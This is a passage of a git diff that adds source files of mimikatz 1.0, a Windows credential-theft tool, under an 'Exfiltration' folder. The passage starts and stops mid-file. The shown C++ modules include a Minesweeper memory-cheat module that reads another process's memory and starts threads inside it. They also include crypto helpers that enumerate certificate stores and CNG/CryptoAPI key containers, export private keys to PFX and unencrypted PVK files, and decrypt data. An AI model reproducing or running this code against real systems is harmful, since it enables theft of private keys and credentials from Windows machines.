if(mod_memory::searchMemory(monModule.modBaseAddr, limit, patternStart, &ptrTemp, sizeof(patternStart), true, monHandleAndAddr->hWinmine)) + monHandleAndAddr->addrStart = reinterpret_cast<PTHREAD_START_ROUTINE>(ptrTemp - 11); + } + } + } + + bool reussite = monHandleAndAddr->hWinmine && monHandleAndAddr->addrMonDemineur && monHandleAndAddr->addrStart && monHandleAndAddr->addrPause && monHandleAndAddr->addrResume; + + if(!reussite && monHandleAndAddr->hWinmine) + CloseHandle(monHandleAndAddr->hWinmine); + + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h new file mode 100644 index 0000000..3870228 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_winmine.h @@ -0,0 +1,45 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_windows.h" +#include <iostream> + +class mod_mimikatz_winmine +{ +private: + typedef struct structMonDemineur{ + DWORD32 nbMines; + DWORD32 longueur; + DWORD32 hauteur; + DWORD32 alignOffset; + BYTE tabMines[26][32]; + } structMonDemineur; + + typedef struct structHandleAndAddr{ + HANDLE hWinmine; + DWORD pidWinmine; + structMonDemineur * addrMonDemineur; + PTHREAD_START_ROUTINE addrPause; + PTHREAD_START_ROUTINE addrResume; + PTHREAD_START_ROUTINE addrStart; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool startThreadAt(unsigned long structOffset); + static bool infosOrCheat(vector<wstring> * arguments, bool cheat = false); + +public: + static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands(); + + static bool infos(vector<wstring> * arguments); + static bool start(vector<wstring> * arguments); + static bool pause(vector<wstring> * arguments); + static bool reprise(vector<wstring> * arguments); + static bool cheat(vector<wstring> * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp new file mode 100644 index 0000000..8baffa6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.cpp @@ -0,0 +1,240 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_crypto.h" + +bool mod_crypto::getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore) +{ + map<wstring, DWORD> mesEmplacements; + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS)); + mesEmplacements.insert(make_pair(L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES)); + + map<wstring, DWORD>::iterator monIterateur = mesEmplacements.find(strSystemStore); + if(monIterateur != mesEmplacements.end()) + { + *systemStore = monIterateur->second; + return true; + } + else return false; +} + +BOOL WINAPI mod_crypto::enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg) +{ + reinterpret_cast<vector<wstring> *>(pvArg)->push_back(reinterpret_cast<const wchar_t *>(pvSystemStore)); + return TRUE; +} + +bool mod_crypto::getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore) +{ + return (CertEnumSystemStore(systemStore, NULL, maSystemStoresvector, enumSysCallback) != 0); +} + +bool mod_crypto::getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName) +{ + bool reussite = false; + wchar_t * monBuffer = NULL; + + DWORD maRecherche[] = {CERT_NAME_FRIENDLY_DISPLAY_TYPE, CERT_NAME_DNS_TYPE, CERT_NAME_EMAIL_TYPE, CERT_NAME_UPN_TYPE, CERT_NAME_URL_TYPE}; + + for(DWORD i = 0; !reussite && (i < (sizeof(maRecherche) / sizeof(DWORD))); i++) + { + DWORD tailleRequise = CertGetNameString(certCTX, maRecherche[i], 0, NULL, NULL, 0); + if(tailleRequise > 1) + { + monBuffer = new wchar_t[tailleRequise]; + reussite = CertGetNameString(certCTX, maRecherche[i], 0, NULL, monBuffer, tailleRequise) > 1; + certName->assign(monBuffer); + delete[] monBuffer; + } + } + return reussite; +} + +bool mod_crypto::getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo) +{ + bool reussite = false; + DWORD taille = 0; + if(CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, NULL, &taille)) + { + BYTE * monBuffer = new BYTE[taille]; + if(reussite = (CertGetCertificateContextProperty(certCTX, CERT_KEY_PROV_INFO_PROP_ID, monBuffer, &taille) != 0)) + { + CRYPT_KEY_PROV_INFO * mesInfos = reinterpret_cast<CRYPT_KEY_PROV_INFO *>(monBuffer); + keyProvInfo->pwszProvName.assign(mesInfos->pwszProvName ? mesInfos->pwszProvName : L"(null)"); + keyProvInfo->pwszContainerName.assign(mesInfos->pwszContainerName ? mesInfos->pwszContainerName : L"(null)"); + keyProvInfo->cProvParam = mesInfos->cProvParam; + keyProvInfo->dwFlags = mesInfos->dwFlags; + keyProvInfo->dwKeySpec = mesInfos->dwKeySpec; + keyProvInfo->dwProvType = mesInfos->dwProvType; + } + delete[] monBuffer; + } + return reussite; +} + +bool mod_crypto::CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password) +{ + bool retour = false; + + HCERTSTORE hTempStore = CertOpenStore(CERT_STORE_PROV_MEMORY, 0, NULL, CERT_STORE_CREATE_NEW_FLAG, NULL); + PCCERT_CONTEXT pCertContextCopy = NULL; + + if(CertAddCertificateContextToStore(hTempStore, certCTX, CERT_STORE_ADD_NEW, &pCertContextCopy)) + { + CRYPT_DATA_BLOB bDataBlob = {0, NULL}; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + bDataBlob.pbData = new BYTE[bDataBlob.cbData]; + if(PFXExportCertStoreEx(hTempStore, &bDataBlob, password.c_str(), NULL, EXPORT_PRIVATE_KEYS | REPORT_NOT_ABLE_TO_EXPORT_PRIVATE_KEY)) + { + HANDLE hFile = CreateFile(pfxFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, bDataBlob.pbData, bDataBlob.cbData, &dwBytesWritten, NULL) && (bDataBlob.cbData == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + } + delete[] bDataBlob.pbData; + } + CertFreeCertificateContext(pCertContextCopy); + } + CertCloseStore(hTempStore, CERT_CLOSE_STORE_FORCE_FLAG); + + return retour; +} + +bool mod_crypto::CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile) +{ + bool retour = false; + + HANDLE hFile = CreateFile(DERFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, certCTX->pbCertEncoded, certCTX->cbCertEncoded, &dwBytesWritten, NULL) && certCTX->cbCertEncoded == dwBytesWritten) + { + retour = FlushFileBuffers(hFile) != 0; + } + CloseHandle(hFile); + } + return retour; +} + +wstring mod_crypto::KeyTypeToString(DWORD keyType) +{ + wostringstream keyTypeStr; + switch (keyType) + { + case AT_KEYEXCHANGE: + keyTypeStr << L"AT_KEYEXCHANGE"; + break; + case AT_SIGNATURE: + keyTypeStr << L"AT_SIGNATURE"; + break; + default: + keyTypeStr << L"? (" << hex << keyType << L")"; + } + return keyTypeStr.str(); +} + + +bool mod_crypto::PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec) +{ + bool retour = false; + FILE_HDR monHeader = {PVK_MAGIC, PVK_FILE_VERSION_0, keySpec, PVK_NO_ENCRYPT, 0, tailleExport}; + + HANDLE hFile = CreateFile(pvkFile.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL); + if(hFile && hFile != INVALID_HANDLE_VALUE) + { + DWORD dwBytesWritten; + if(WriteFile(hFile, &monHeader, sizeof(monHeader), &dwBytesWritten, NULL) && (sizeof(monHeader) == dwBytesWritten)) + { + if(WriteFile(hFile, monExport, tailleExport, &dwBytesWritten, NULL) && (tailleExport == dwBytesWritten)) + { + retour = FlushFileBuffers(hFile) != 0; + } + } + CloseHandle(hFile); + } + + return retour; +} + +bool mod_crypto::genericDecrypt(BYTE * data, SIZE_T dataSize, const BYTE * key, SIZE_T keySize, ALG_ID algorithme, BYTE * destBuffer, SIZE_T destBufferSize) +{ + bool retour = false; + HCRYPTPROV hCryptProv = NULL; + HCRYPTKEY hKey = NULL; + PBYTE buffer = data; + DWORD dwWorkingBufferLength = dataSize; + + if(destBuffer && destBufferSize >= dataSize) + { + RtlCopyMemory(destBuffer, data, dataSize); + buffer = destBuffer; + } + + if((algorithme == CALG_RC4) && (keySize > 16)) + { + fullRC4(buffer, dataSize, key, keySize); + retour = true; + } + else + { + if(CryptAcquireContext(&hCryptProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) + { + GENERICKEY_BLOB myKeyHead = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, algorithme}, keySize}; + BYTE * myKey = new BYTE[sizeof(GENERICKEY_BLOB) + keySize]; + RtlCopyMemory(myKey, &myKeyHead, sizeof(GENERICKEY_BLOB)); + RtlCopyMemory(myKey + sizeof(GENERICKEY_BLOB), key, keySize); + + if(CryptImportKey(hCryptProv, myKey, sizeof(GENERICKEY_BLOB) + keySize, 0, CRYPT_EXPORTABLE, &hKey)) + { + if(CryptDecrypt(hKey, NULL, TRUE, 0, buffer, &dwWorkingBufferLength) || ((algorithme == CALG_DES) && (GetLastError() == NTE_BAD_DATA))) // vite les erreurs de parits http://support.microsoft.com/kb/331367/ + retour = (dwWorkingBufferLength == dataSize); + CryptDestroyKey(hKey); + } + delete[] myKey; + CryptReleaseContext(hCryptProv, 0); + } + } + return retour; +} + +void mod_crypto::fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen) // pour les cls >= 128 bits (16 octets) +{ + ULONG i, j, k = 0, kpos = 0; + BYTE S[256], *pos = data; + + for (i = 0; i < 256; i++) + S[i] = static_cast<BYTE>(i); + + for (i = 0, j = 0; i < 256; i++) + { + j = (j + S[i] + key[kpos]) & 0xff; + kpos++; + if (kpos >= keylen) + kpos = 0; + S_SWAP(i, j); + } + + for (i = 0, j = 0; k < data_len; k++) + { + i = (i + 1) & 0xff; + j = (j + S[i]) & 0xff; + S_SWAP(i, j); + *pos++ ^= S[(S[i] + S[j]) & 0xff]; + } +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_crypto.h b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h new file mode 100644 index 0000000..582ed36 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_crypto.h @@ -0,0 +1,60 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <wincrypt.h> +#include <sstream> +#include <map> + +#define PVK_FILE_VERSION_0 0 +#define PVK_MAGIC 0xb0b5f11e // bob's file +#define PVK_NO_ENCRYPT 0 +#define PVK_RC4_PASSWORD_ENCRYPT 1 +#define PVK_RC2_CBC_PASSWORD_ENCRYPT 2 + +class mod_crypto +{ +public: + typedef struct _KIWI_KEY_PROV_INFO { + std::wstring pwszContainerName; + std::wstring pwszProvName; + DWORD dwProvType; + DWORD dwFlags; + DWORD cProvParam; + DWORD dwKeySpec; + } KIWI_KEY_PROV_INFO, *PKIWI_KEY_PROV_INFO; + +private: + typedef struct _GENERICKEY_BLOB { + BLOBHEADER BlobHeader; + DWORD dwKeyLen; + } GENERICKEY_BLOB, *PGENERICKEY_BLOB; + + typedef struct _FILE_HDR { + DWORD dwMagic; + DWORD dwVersion; + DWORD dwKeySpec; + DWORD dwEncryptType; + DWORD cbEncryptData; + DWORD cbPvk; + } FILE_HDR, *PFILE_HDR; + + static BOOL WINAPI enumSysCallback(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); +public: + static bool getSystemStoreFromString(wstring strSystemStore, DWORD * systemStore); + + static bool getVectorSystemStores(vector<wstring> * maSystemStoresvector, DWORD systemStore = CERT_SYSTEM_STORE_CURRENT_USER); + static bool getCertNameFromCertCTX(PCCERT_CONTEXT certCTX, wstring * certName); + static bool getKiwiKeyProvInfo(PCCERT_CONTEXT certCTX, KIWI_KEY_PROV_INFO * keyProvInfo); + + static bool PrivateKeyBlobToPVK(BYTE * monExport, DWORD tailleExport, wstring pvkFile, DWORD keySpec = AT_KEYEXCHANGE); + static bool CertCTXtoPFX(PCCERT_CONTEXT certCTX, wstring pfxFile, wstring password); + static bool CertCTXtoDER(PCCERT_CONTEXT certCTX, wstring DERFile); + static wstring KeyTypeToString(DWORD keyType); + + static bool genericDecrypt(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen, ALG_ID algorithme, BYTE * destBuffer = NULL, SIZE_T destBufferSize = 0); + static void fullRC4(BYTE * data, SIZE_T data_len, const BYTE * key, SIZE_T keylen); // keysize >= 128 bits (16 bytes) +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp new file mode 100644 index 0000000..f886f09 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.cpp @@ -0,0 +1,138 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptoapi.h" +HMODULE mod_cryptoapi::hRsaEng = NULL; + +bool mod_cryptoapi::loadRsaEnh() +{ + if(!hRsaEng) + hRsaEng = LoadLibrary(L"rsaenh"); + return (hRsaEng != NULL); +} + +bool mod_cryptoapi::unloadRsaEnh() +{ + if(hRsaEng) + FreeLibrary(hRsaEng); + return true; +} + +bool mod_cryptoapi::getProviderString(wstring ProviderName, wstring * Provider) +{ + map<wstring, wstring> mesProviders; + mesProviders.insert(make_pair(L"MS_DEF_PROV", MS_DEF_PROV)); + mesProviders.insert(make_pair(L"MS_ENHANCED_PROV", MS_ENHANCED_PROV)); + mesProviders.insert(make_pair(L"MS_STRONG_PROV", MS_STRONG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV)); + mesProviders.insert(make_pair(L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV)); + mesProviders.insert(make_pair(L"MS_SCARD_PROV", MS_SCARD_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV)); + mesProviders.insert(make_pair(L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP)); + + map<wstring, wstring>::iterator monIterateur = mesProviders.find(ProviderName); + *Provider = (monIterateur != mesProviders.end()) ? monIterateur->second : ProviderName; + return true; +} + +bool mod_cryptoapi::getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType) +{ + map<wstring, DWORD> mesTypes; + mesTypes.insert(make_pair(L"PROV_RSA_FULL", PROV_RSA_FULL)); + mesTypes.insert(make_pair(L"PROV_RSA_SIG", PROV_RSA_SIG)); + mesTypes.insert(make_pair(L"PROV_DSS", PROV_DSS)); + mesTypes.insert(make_pair(L"PROV_FORTEZZA", PROV_FORTEZZA)); + mesTypes.insert(make_pair(L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE)); + mesTypes.insert(make_pair(L"PROV_SSL", PROV_SSL)); + mesTypes.insert(make_pair(L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_DSS_DH", PROV_DSS_DH)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG)); + mesTypes.insert(make_pair(L"PROV_EC_ECDSA_FULL",PROV_EC_ECDSA_FULL)); + mesTypes.insert(make_pair(L"PROV_EC_ECNRA_FULL",PROV_EC_ECNRA_FULL)); + mesTypes.insert(make_pair(L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL)); + mesTypes.insert(make_pair(L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS)); + mesTypes.insert(make_pair(L"PROV_RNG", PROV_RNG)); + mesTypes.insert(make_pair(L"PROV_INTEL_SEC", PROV_INTEL_SEC)); + mesTypes.insert(make_pair(L"PROV_REPLACE_OWF", PROV_REPLACE_OWF)); + mesTypes.insert(make_pair(L"PROV_RSA_AES", PROV_RSA_AES)); + + map<wstring, DWORD>::iterator monIterateur = mesTypes.find(ProviderTypeName); + if(monIterateur != mesTypes.end()) + { + *ProviderType = monIterateur->second; + return true; + } + else return false; +} + +bool mod_cryptoapi::getVectorProviders(vector<wstring> * monVectorProviders) +{ + DWORD index = 0; + DWORD provType; + DWORD tailleRequise; + + while(CryptEnumProviders(index, NULL, 0, &provType, NULL, &tailleRequise)) + { + wchar_t * monProvider = new wchar_t[tailleRequise]; + if(CryptEnumProviders(index, NULL, 0, &provType, monProvider, &tailleRequise)) + { + monVectorProviders->push_back(monProvider); + } + delete[] monProvider; + index++; + } + return (GetLastError() == ERROR_NO_MORE_ITEMS); +} + +bool mod_cryptoapi::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine, wstring provider, DWORD providerType) +{ + bool reussite = false; + + HCRYPTPROV hCryptProv = NULL; + if(CryptAcquireContext(&hCryptProv, NULL, provider.c_str(), providerType, CRYPT_VERIFYCONTEXT | (isMachine ? CRYPT_MACHINE_KEYSET : NULL))) + { + DWORD tailleRequise = 0; + char * containerName = NULL; + DWORD CRYPT_first_next = CRYPT_FIRST; + bool success = false; + + success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, NULL, &tailleRequise, CRYPT_first_next) != 0); + while(success) + { + containerName = new char[tailleRequise]; + if(success = (CryptGetProvParam(hCryptProv, PP_ENUMCONTAINERS, reinterpret_cast<BYTE *>(containerName), &tailleRequise, CRYPT_first_next) != 0)) + { + wstringstream resultat; + resultat << containerName; + monVectorContainers->push_back(resultat.str()); + } + delete[] containerName; + CRYPT_first_next = CRYPT_NEXT; + } + reussite = (GetLastError() == ERROR_NO_MORE_ITEMS); + CryptReleaseContext(hCryptProv, 0); + } + + return reussite; +} + +bool mod_cryptoapi::getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType) +{ + bool reussite = false; + + if(CryptExportKey(maCle, NULL, dwBlobType, NULL, NULL, tailleExport)) + { + *monExport = new BYTE[*tailleExport]; + if(!(reussite = (CryptExportKey(maCle, NULL, dwBlobType, NULL, *monExport, tailleExport) != 0))) + delete[] monExport; + + } + return reussite; +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h new file mode 100644 index 0000000..8c70b48 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptoapi.h @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <wincrypt.h> +#include <sstream> +#include <map> + +class mod_cryptoapi /* Ref : http://msdn.microsoft.com/en-us/library/aa380255.aspx */ +{ +private: + static HMODULE hRsaEng; +public: + static bool getProviderString(wstring ProviderName, wstring * Provider); + static bool getProviderTypeFromString(wstring ProviderTypeName, DWORD * ProviderType); + + static bool getVectorProviders(vector<wstring> * monVectorProviders); + static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false, wstring provider = MS_ENHANCED_PROV, DWORD providerType = PROV_RSA_FULL); + static bool getPrivateKey(HCRYPTKEY maCle, PBYTE * monExport, DWORD * tailleExport, DWORD dwBlobType = PRIVATEKEYBLOB); + + static bool loadRsaEnh(); + static bool unloadRsaEnh(); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp new file mode 100644 index 0000000..690f390 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.cpp @@ -0,0 +1,143 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_cryptong.h" + +HMODULE hNcrypt = LoadLibrary(L"ncrypt"); + +PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = reinterpret_cast<PNCRYPT_OPEN_STORAGE_PROVIDER>(GetProcAddress(hNcrypt, "NCryptOpenStorageProvider")); +PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = reinterpret_cast<PNCRYPT_ENUM_KEYS>(GetProcAddress(hNcrypt, "NCryptEnumKeys")); +PNCRYPT_OPEN_KEY K_NCryptOpenKey = reinterpret_cast<PNCRYPT_OPEN_KEY>(GetProcAddress(hNcrypt, "NCryptOpenKey")); +PNCRYPT_EXPORT_KEY K_NCryptExportKey = reinterpret_cast<PNCRYPT_EXPORT_KEY>(GetProcAddress(hNcrypt, "NCryptExportKey")); +PNCRYPT_GET_PROPERTY K_NCryptGetProperty = reinterpret_cast<PNCRYPT_GET_PROPERTY>(GetProcAddress(hNcrypt, "NCryptGetProperty")); + +PNCRYPT_FREE_BUFFER K_NCryptFreeBuffer = reinterpret_cast<PNCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "NCryptFreeBuffer")); +PNCRYPT_FREE_OBJECT K_NCryptFreeObject = reinterpret_cast<PNCRYPT_FREE_OBJECT>(GetProcAddress(hNcrypt, "NCryptFreeObject")); + +PBCRYPT_ENUM_REGISTERED_PROVIDERS K_BCryptEnumRegisteredProviders = reinterpret_cast<PBCRYPT_ENUM_REGISTERED_PROVIDERS>(GetProcAddress(hNcrypt, "BCryptEnumRegisteredProviders")); +PBCRYPT_FREE_BUFFER K_BCryptFreeBuffer = reinterpret_cast<PBCRYPT_FREE_BUFFER>(GetProcAddress(hNcrypt, "BCryptFreeBuffer")); + +bool mod_cryptong::isNcrypt = ( + hNcrypt && + K_NCryptOpenStorageProvider && + K_NCryptEnumKeys && + K_NCryptOpenKey && + K_NCryptExportKey && + K_NCryptGetProperty && + K_NCryptFreeBuffer && + K_NCryptFreeObject && + K_BCryptEnumRegisteredProviders && + K_BCryptFreeBuffer +); + +bool mod_cryptong::justInitCNG(LPCWSTR pszProviderName) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, pszProviderName, 0) == ERROR_SUCCESS) + reussite = (K_NCryptFreeObject(hProvider) == 0); + + return reussite; +} + + +bool mod_cryptong::getVectorProviders(vector<wstring> * monVectorProviders) +{ + bool reussite = false; + + DWORD cbBuffer; + PCRYPT_PROVIDERS pBuffer = NULL; + + if(reussite = (K_BCryptEnumRegisteredProviders(&cbBuffer, &pBuffer) == 0)) + { + for(DWORD i = 0; i < pBuffer->cProviders; i++) + monVectorProviders->push_back(pBuffer->rgpszProviders[i]); + K_BCryptFreeBuffer(pBuffer); + } + + return reussite; +} + +bool mod_cryptong::getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + NCryptKeyName * pKeyName; + PVOID pEnumState = NULL; + + SECURITY_STATUS retour; + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + while((retour = K_NCryptEnumKeys(hProvider, NULL, &pKeyName, &pEnumState, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL))) == ERROR_SUCCESS) + { + monVectorContainers->push_back(pKeyName->pszName); + K_NCryptFreeBuffer(pKeyName); + } + reussite = (retour == NTE_NO_MORE_ITEMS); + + if(pEnumState) + K_NCryptFreeBuffer(pEnumState); + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + +bool mod_cryptong::getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine) +{ + bool reussite = false; + NCRYPT_PROV_HANDLE hProvider; + + if(K_NCryptOpenStorageProvider(&hProvider, /*MS_KEY_STORAGE_PROVIDER*/ NULL, 0) == ERROR_SUCCESS) + { + reussite = K_NCryptOpenKey(hProvider, keyHandle, keyName.c_str(), 0, (isMachine ? NCRYPT_MACHINE_KEY_FLAG : NULL)) == ERROR_SUCCESS; + K_NCryptFreeObject(hProvider); + } + + return reussite; +} + + + +bool mod_cryptong::getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize) +{ + DWORD tailleEcrite = 0; + return ((K_NCryptGetProperty(*provOrCle, NCRYPT_LENGTH_PROPERTY, reinterpret_cast<BYTE *>(keySize), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD)); +} + + +bool mod_cryptong::isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * isExportable) +{ + bool reussite = false; + DWORD tailleEcrite = 0, exportability = 0; + + if(reussite = ((K_NCryptGetProperty(*provOrCle, NCRYPT_EXPORT_POLICY_PROPERTY, reinterpret_cast<BYTE *>(&exportability), sizeof(DWORD), &tailleEcrite, 0) == 0) && tailleEcrite == sizeof(DWORD))) + { + *isExportable =(exportability & NCRYPT_ALLOW_EXPORT_FLAG) != 0; + } + return reussite; +} + +bool mod_cryptong::getPrivateKey(NCRYPT_KEY_HANDLE maCle, PBYTE * monExport, DWORD * tailleExport, LPCWSTR pszBlobType) +{ + SECURITY_STATUS monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, NULL, 0, tailleExport, 0); + if(monRetour == ERROR_SUCCESS) + { + *monExport = new BYTE[*tailleExport]; + monRetour = K_NCryptExportKey(maCle, NULL, pszBlobType, NULL, *monExport, *tailleExport, tailleExport, 0); + + if(monRetour != ERROR_SUCCESS) + delete[] monExport; + } + SetLastError(monRetour); + return (monRetour == ERROR_SUCCESS); +} + + +bool mod_cryptong::NCryptFreeObject(NCRYPT_HANDLE hObject) +{ + return (K_NCryptFreeObject(hObject) == 0); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h new file mode 100644 index 0000000..3eec5b6 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_cryptong.h @@ -0,0 +1,24 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include <bcrypt.h> +#include <sstream> + +class mod_cryptong /* Ref : http://msdn.microsoft.com/en-us/library/aa376210.aspx */ +{ +public: + static bool getVectorProviders(vector<wstring> * monVectorProviders); + static bool getVectorContainers(vector<wstring> * monVectorContainers, bool isMachine = false); + static bool getHKeyFromName(wstring keyName, NCRYPT_KEY_HANDLE * keyHandle, bool isMachine = false); + static bool getKeySize(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, DWORD * keySize); + static bool isKeyExportable(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE * provOrCle, bool * 